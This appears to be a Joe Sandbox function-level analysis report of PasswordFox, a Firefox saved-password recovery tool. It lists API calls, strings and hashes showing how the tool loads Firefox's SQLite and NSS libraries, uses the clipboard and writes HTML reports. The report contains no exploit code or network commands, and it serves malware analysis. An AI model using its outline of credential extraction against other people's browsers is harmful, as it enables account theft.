Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a4b783e269585c4318d12d0e22128fef234eba750c01504b4b2eb2178db074be
Instruction ID: 60a4af8ee6d59fea14b82fbe0a456b2e00203c604c9193f7a0d0de9fd8a5364e
Opcode Fuzzy Hash: a4b783e269585c4318d12d0e22128fef234eba750c01504b4b2eb2178db074be
Instruction Fuzzy Hash: 1DC09B35544301FFDE114F40EE45F09BB61BB84B05F104414B244340B182714414EB17

Function 00404EAB Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00404EB2

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: dee23dddffafb37f9d61bb6ea4577df9f5847839b12af649ca595ba92faed36a
Instruction ID: 71b4aa9b148329b8899b8ff98833b41d6c2de554888759dbdd4900b10c841ab3
Opcode Fuzzy Hash: dee23dddffafb37f9d61bb6ea4577df9f5847839b12af649ca595ba92faed36a
Instruction Fuzzy Hash: F9C002B29107029FE7309E15C459763B2E4EF5072BF608C1D9495914C2D77CE484CA58

Non-executed Functions

Function 0040B251 Relevance: 57.9, APIs: 20, Strings: 13, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B27C
wcscpy.MSVCRT ref: 0040B293
memset.MSVCRT ref: 0040B2C6
wcscpy.MSVCRT ref: 0040B2DC
wcscat.MSVCRT ref: 0040B2ED
wcscpy.MSVCRT ref: 0040B313
wcscat.MSVCRT ref: 0040B324
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040B333
LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040B34A
LoadLibraryW.KERNEL32(sqlite3.dll,?,?,00000000), ref: 0040B35D
LoadLibraryW.KERNEL32(mozsqlite3.dll,?,?,00000000), ref: 0040B36B
GetProcAddress.KERNEL32(?,sqlite3_open), ref: 0040B387
GetProcAddress.KERNEL32(?,sqlite3_prepare), ref: 0040B393
GetProcAddress.KERNEL32(?,sqlite3_step), ref: 0040B3A0
GetProcAddress.KERNEL32(?,sqlite3_column_text), ref: 0040B3AD
GetProcAddress.KERNEL32(?,sqlite3_column_int), ref: 0040B3BA
GetProcAddress.KERNEL32(?,sqlite3_column_int64), ref: 0040B3C7
GetProcAddress.KERNEL32(?,sqlite3_finalize), ref: 0040B3D4
GetProcAddress.KERNEL32(?,sqlite3_close), ref: 0040B3E1
GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 0040B3EE

Strings

sqlite3_step, xrefs: 0040B395
\mozsqlite3.dll, xrefs: 0040B31E
sqlite3.dll, xrefs: 0040B358
sqlite3_open, xrefs: 0040B381
sqlite3_finalize, xrefs: 0040B3C9
sqlite3_exec, xrefs: 0040B3E3
sqlite3_column_text, xrefs: 0040B3A2
mozsqlite3.dll, xrefs: 0040B366
sqlite3_column_int64, xrefs: 0040B3BC
\sqlite3.dll, xrefs: 0040B2E7
sqlite3_column_int, xrefs: 0040B3AF
sqlite3_close, xrefs: 0040B3D6
sqlite3_prepare, xrefs: 0040B389

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadwcscpy$memsetwcscat$HandleModule
String ID: \mozsqlite3.dll$\sqlite3.dll$mozsqlite3.dll$sqlite3.dll$sqlite3_close$sqlite3_column_int$sqlite3_column_int64$sqlite3_column_text$sqlite3_exec$sqlite3_finalize$sqlite3_open$sqlite3_prepare$sqlite3_step
API String ID: 2987540277-2598477893
Opcode ID: 1af300b62d48c8418892f8fd2c98970e6ac461ac8e5a5774a91a9b30aff54590
Instruction ID: 14b093565bb511fcdc85993d5b11a14a44a8d5736ca9221a3b6d56b508eda27a
Opcode Fuzzy Hash: 1af300b62d48c8418892f8fd2c98970e6ac461ac8e5a5774a91a9b30aff54590
Instruction Fuzzy Hash: 454142B1D40709AACB20BFB18D45E5B76E8EF48704B5009BAA549B2191E77CE644CF5C

Function 004043CD Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 004043D7

Part of subcall function 00404216: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00403C73,?), ref: 00404228

GetFileSize.KERNEL32(00000000,00000000), ref: 004043F4
GlobalAlloc.KERNEL32(00002000,00000002), ref: 00404405
GlobalLock.KERNEL32(00000000), ref: 00404412
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00404425
GlobalUnlock.KERNEL32(00000000), ref: 00404437
SetClipboardData.USER32(0000000D,00000000), ref: 00404440
GetLastError.KERNEL32 ref: 00404448
CloseHandle.KERNEL32(?), ref: 00404454
GetLastError.KERNEL32 ref: 0040445F
CloseClipboard.USER32 ref: 00404468

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
String ID:
API String ID: 3604893535-0
Opcode ID: b0f26e8d99f869fb1eca346a2f7d1d0832088ac3eb436f7269575a2cd43f8522
Instruction ID: 7163b0dadf5ab7e9d070504b78d8126dc1e30b2e342164c7525744df928d89dc
Opcode Fuzzy Hash: b0f26e8d99f869fb1eca346a2f7d1d0832088ac3eb436f7269575a2cd43f8522
Instruction Fuzzy Hash: D3118F76900204FBDB106BE0ED8CB5E7B78EB84356F108276F602F21A1DB708901DB69

Function 00404D0E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,nss3.dll,00000000), ref: 00404D26
FindNextFileW.KERNEL32(00000000,?,?,nss3.dll,00000000), ref: 00404D45
FindClose.KERNEL32(00000000,?,nss3.dll,00000000), ref: 00404D65

Strings

., xrefs: 00404D33
nss3.dll, xrefs: 00404D18

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$nss3.dll
API String ID: 3541575487-2628452245
Opcode ID: a0cdd73c55fa3cba713df79608e6cb38044a559a8bfbff6296494efd44007b3f
Instruction ID: 686c77c42c0bc2d4efecc617a5b38bdf54240a75ec4f3d98de153850bc1ea0c3
Opcode Fuzzy Hash: a0cdd73c55fa3cba713df79608e6cb38044a559a8bfbff6296494efd44007b3f
Instruction Fuzzy Hash: 24F09671900528DBDB306BB49C885EBB76CEF84365F004262AE16F3190D3389D45CA98

Function 0040109F Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 004010F7
ChildWindowFromPoint.USER32(?,?,?), ref: 00401109
GetDlgItem.USER32(?,000003EE), ref: 0040113F
ChildWindowFromPoint.USER32(?,?,?), ref: 0040114C
GetDlgItem.USER32(?,000003EC), ref: 0040117A
ChildWindowFromPoint.USER32(?,?,?), ref: 0040118C
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401195
LoadCursorW.USER32(00000000,00000067), ref: 0040119E
SetCursor.USER32(00000000,?,?), ref: 004011A5
GetDlgItem.USER32(?,000003EE), ref: 004011C6
ChildWindowFromPoint.USER32(?,?,?), ref: 004011D3
GetDlgItem.USER32(?,000003EC), ref: 004011ED
SetBkMode.GDI32(?,00000001), ref: 004011F9
SetTextColor.GDI32(?,00C00000), ref: 00401207
GetSysColorBrush.USER32(0000000F), ref: 0040120F
GetDlgItem.USER32(?,000003EE), ref: 00401230
EndDialog.USER32(?,00000001), ref: 0040125B
DeleteObject.GDI32(?), ref: 00401267
GetDlgItem.USER32(?,000003ED), ref: 0040128C
ShowWindow.USER32(00000000), ref: 00401295
GetDlgItem.USER32(?,000003EE), ref: 004012A1
ShowWindow.USER32(00000000), ref: 004012A4
SetDlgItemTextW.USER32(?,000003EE,0040FEB0), ref: 004012B5
SetWindowTextW.USER32(?,PasswordFox), ref: 004012C3
SetDlgItemTextW.USER32(?,000003EA,?), ref: 004012DB
SetDlgItemTextW.USER32(?,000003EC,?), ref: 004012EC

Strings

PasswordFox, xrefs: 004012BB

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: PasswordFox
API String ID: 829165378-3917124896
Opcode ID: b7105b33d1dbb3790eedd9d337f3acede5ab556a795471879666d2ecd75b0e8f
Instruction ID: 06ddacdadf490f56c435dab6f8e1940d296525f203817ed67ceea2118fbb07a8
Opcode Fuzzy Hash: b7105b33d1dbb3790eedd9d337f3acede5ab556a795471879666d2ecd75b0e8f
Instruction Fuzzy Hash: DA517D31500209EBDB21AF61DD84E6F7BA5EB44300F10863AF655BA5F1C779A991EB08

Function 00409B23 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00409B68
GetDlgItem.USER32(?,000003EA), ref: 00409B80
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00409B9E
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00409BAA
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00409BB2
memset.MSVCRT ref: 00409BD9
memset.MSVCRT ref: 00409BFB
memset.MSVCRT ref: 00409C14
memset.MSVCRT ref: 00409C28
memset.MSVCRT ref: 00409C42
memset.MSVCRT ref: 00409C57
GetCurrentProcess.KERNEL32 ref: 00409C5F
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00409C82
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00409CB4
memset.MSVCRT ref: 00409D07
GetCurrentProcessId.KERNEL32 ref: 00409D15
memcpy.MSVCRT(?,0040F850,0000021C), ref: 00409D43
wcscpy.MSVCRT ref: 00409D66
_snwprintf.MSVCRT ref: 00409DD5
SetDlgItemTextW.USER32(?,000003EA,?), ref: 00409DED
GetDlgItem.USER32(?,000003EA), ref: 00409DF7
SetFocus.USER32(00000000), ref: 00409DFE

Strings

{Unknown}, xrefs: 00409BED
Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00409DCA

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: 9fe5e13d2a84a8293e436f1e929fd82f35361d293400db2b09c83656bd87a2bf
Instruction ID: f8f143b153c59337336e0c353dbabed249341f390da81bfa93234f36905f1053
Opcode Fuzzy Hash: 9fe5e13d2a84a8293e436f1e929fd82f35361d293400db2b09c83656bd87a2bf
Instruction Fuzzy Hash: 6A7175B2800219BEDB219F61DD45EDA376DEF08354F00417AF608B61A1DB799E848FA9

Function 0040A4AC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 265COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0040A4D9
GetDlgItem.USER32(?,000003E8), ref: 0040A4E5
GetWindowRect.USER32(00000000,?), ref: 0040A527
GetWindowRect.USER32(?,?), ref: 0040A532
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A546
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A554
73A1A570.USER32(?,?,?), ref: 0040A58D
wcslen.MSVCRT ref: 0040A5CD
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0040A5DE
_snwprintf.MSVCRT ref: 0040A6EE
SetWindowTextW.USER32(?,?), ref: 0040A702
SetWindowTextW.USER32(?,00000000), ref: 0040A720
GetDlgItem.USER32(?,00000001), ref: 0040A756
GetWindowRect.USER32(00000000,?), ref: 0040A766
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A774
GetClientRect.USER32(?,?), ref: 0040A78B
GetWindowRect.USER32(?,?), ref: 0040A795
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 0040A7DB
GetClientRect.USER32(?,?), ref: 0040A7E5
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040A81D

Strings

EDIT, xrefs: 0040A6C3
%s:, xrefs: 0040A6E3
STATIC, xrefs: 0040A68D

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Window$Rect$ItemPointsText$Client$A570ExtentPoint32_snwprintfwcslen
String ID: %s:$EDIT$STATIC
API String ID: 842022892-3046471546
Opcode ID: f55b858b5fc177468efb40cbe2bbab40b02d23b5efcb40a195741c8900b95891
Instruction ID: 3205e7fe72936d93a5ec92f6ef6244d36d3081a5468dab2d2e65200363bb81f1
Opcode Fuzzy Hash: f55b858b5fc177468efb40cbe2bbab40b02d23b5efcb40a195741c8900b95891
Instruction Fuzzy Hash: A7B1DF72108301AFD710DFA9C984E2ABBF9FF88304F004A2DF599962A1D775E954CF16

Function 0040834B Relevance: 35.3, APIs: 16, Strings: 4, Instructions: 270windowregistryclipboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004056C4: LoadMenuW.USER32(00000000), ref: 004056CC

SetMenu.USER32(?,00000000), ref: 0040847D
SendMessageW.USER32(00000000,00000404,00000001,?), ref: 004084B0
GetModuleHandleW.KERNEL32(00000000), ref: 004084BF
LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004084CC
GetModuleHandleW.KERNEL32(00000000), ref: 00408503
CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 0040852A
GetModuleHandleW.KERNEL32(00000000,00000000,00000001), ref: 004085A4
LoadIconW.USER32(00000000,00000066), ref: 004085AD
SetFocus.USER32(?,/nosaveload), ref: 0040860B
GetFileAttributesW.KERNEL32(00410408), ref: 00408625
GetTempPathW.KERNEL32(00000104,00410408), ref: 00408635
wcslen.MSVCRT ref: 0040863C
wcslen.MSVCRT ref: 0040864A
RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 00408697
SendMessageW.USER32(?,00000404,00000002,?), ref: 004086D2
SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004086E5

Part of subcall function 004026DE: wcslen.MSVCRT ref: 004026FB
Part of subcall function 004026DE: SendMessageW.USER32(00000000,00001061,00000000,?), ref: 0040271F

Strings

/nosaveload, xrefs: 004085CF
report.html, xrefs: 00408643, 0040865B
commdlg_FindReplace, xrefs: 00408692
SysListView32, xrefs: 00408524

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MessageSend$HandleLoadModulewcslen$Menu$AttributesClipboardCreateFileFocusFormatIconImagePathRegisterTempWindow
String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html
API String ID: 3682063973-2103577948
Opcode ID: 2f1baa7290e0e506af1a895a6cc2592183571aeea87fd9672bedcc72a81e6651
Instruction ID: 5775a152888729de56b34ef4f4b2d27c24110eed3a33eee853d19f4e7ffcdba8
Opcode Fuzzy Hash: 2f1baa7290e0e506af1a895a6cc2592183571aeea87fd9672bedcc72a81e6651
Instruction Fuzzy Hash: 07B1CB71500288EFEB11DF68CC89BCA7FA5AF64304F040579FA48BB2D2C7B59548CB69

Function 0040AF85 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040AFA7
memset.MSVCRT ref: 0040AFBC
wcscpy.MSVCRT ref: 0040AFEE
_snwprintf.MSVCRT ref: 0040B00E
wcscat.MSVCRT ref: 0040B01B
_snwprintf.MSVCRT ref: 0040B04A
wcscat.MSVCRT ref: 0040B057
wcscat.MSVCRT ref: 0040B065
wcscat.MSVCRT ref: 0040B077
wcscat.MSVCRT ref: 0040B082
wcscat.MSVCRT ref: 0040B094
wcscat.MSVCRT ref: 0040B0A6

Strings

<font, xrefs: 0040AFE8
color="#%s", xrefs: 0040B039
size="%d", xrefs: 0040AFFD
</b>, xrefs: 0040B08E
<b>, xrefs: 0040B071
</font>, xrefs: 0040B0A0

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: 318a56d019d3aaa7f96921b2e4e0ce1dd904295b8dddfdd2e3368ec152fa45fb
Instruction ID: d7b2c1fe3ac28435f262e00ba4c0655e1632008321094755c7529686555df315
Opcode Fuzzy Hash: 318a56d019d3aaa7f96921b2e4e0ce1dd904295b8dddfdd2e3368ec152fa45fb
Instruction Fuzzy Hash: CC3181B2900309AAD720ABA59C86D7B73BCDB44714F50817FF224B21C3E77C9A459A9D

Function 00407044 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 184COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407065
memset.MSVCRT ref: 0040708F
memset.MSVCRT ref: 004070A5
memset.MSVCRT ref: 004070BB
_snwprintf.MSVCRT ref: 004070F4
wcscpy.MSVCRT ref: 0040713F
_snwprintf.MSVCRT ref: 004071CC
wcscat.MSVCRT ref: 004071FE

Part of subcall function 0040AEB5: _snwprintf.MSVCRT ref: 0040AED9

wcscpy.MSVCRT ref: 004071E0
_snwprintf.MSVCRT ref: 0040723D

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

Strings

bgcolor="%s", xrefs: 004070E6
<font color="%s">%s</font>, xrefs: 004071BF
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040706D
<table border="1" cellpadding="5">, xrefs: 004070FC
 , xrefs: 004071F8
nowrap, xrefs: 00407139
</table><p>, xrefs: 0040725F

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _snwprintfmemset$wcscpy$FileWritewcscatwcslen
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1277802453-601624466
Opcode ID: f8dacbfd05d566ad0207a67edbf8d3d069a65d3e3b5223f6146df0e46472cafa
Instruction ID: d2132ec82104963cb5620df9263e511b897797033fbb75d2efbdcd343e46ae46
Opcode Fuzzy Hash: f8dacbfd05d566ad0207a67edbf8d3d069a65d3e3b5223f6146df0e46472cafa
Instruction Fuzzy Hash: A061AD31900208EFDF14AF54CC86EAE7B79EF44314F1041AAF905BA2D2DB34AE51CB99

Function 0040B0B3 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B0D9
memset.MSVCRT ref: 0040B0EE
memset.MSVCRT ref: 0040B103
_snwprintf.MSVCRT ref: 0040B132
_snwprintf.MSVCRT ref: 0040B161
wcscpy.MSVCRT ref: 0040B172
_snwprintf.MSVCRT ref: 0040B192
memset.MSVCRT ref: 0040B1CE
_snwprintf.MSVCRT ref: 0040B1EF
_snwprintf.MSVCRT ref: 0040B229

Part of subcall function 0040AEB5: _snwprintf.MSVCRT ref: 0040AED9

Strings

<table border="1" cellpadding="5"><tr%s>, xrefs: 0040B181
bgcolor="%s", xrefs: 0040B121
<th%s>%s%s%s, xrefs: 0040B218
width="%s", xrefs: 0040B1DE
<font color="%s">, xrefs: 0040B150
</font>, xrefs: 0040B16C

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: b5760ba2ecb5c71c25fe5a138b9a73d33b54b4adf2fcc02053158ea44dd8fb82
Instruction ID: 8c679b64bd822a11a4db2b245e7836b5362e54c0cf9053333f32ebf9adf46155
Opcode Fuzzy Hash: b5760ba2ecb5c71c25fe5a138b9a73d33b54b4adf2fcc02053158ea44dd8fb82
Instruction Fuzzy Hash: C24113B194021DAAEB20EB55CC45FFB727CFF44344F4441BAB918B2192E7349B548BAD

Function 00403C5B Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 178stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00404216: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00403C73,?), ref: 00404228

GetFileSize.KERNEL32(00000000,00000000), ref: 00403C84
??2@YAPAXI@Z.MSVCRT(00000001), ref: 00403C98

Part of subcall function 00404ADD: ReadFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,00403CAA,?,00000000,00000000), ref: 00404AF4

memset.MSVCRT ref: 00403CC7
memset.MSVCRT ref: 00403CE7
memset.MSVCRT ref: 00403CFC
strcmp.MSVCRT ref: 00403D20
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00403E85
CloseHandle.KERNEL32(?), ref: 00403E8E

Strings

---, xrefs: 00403E50

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
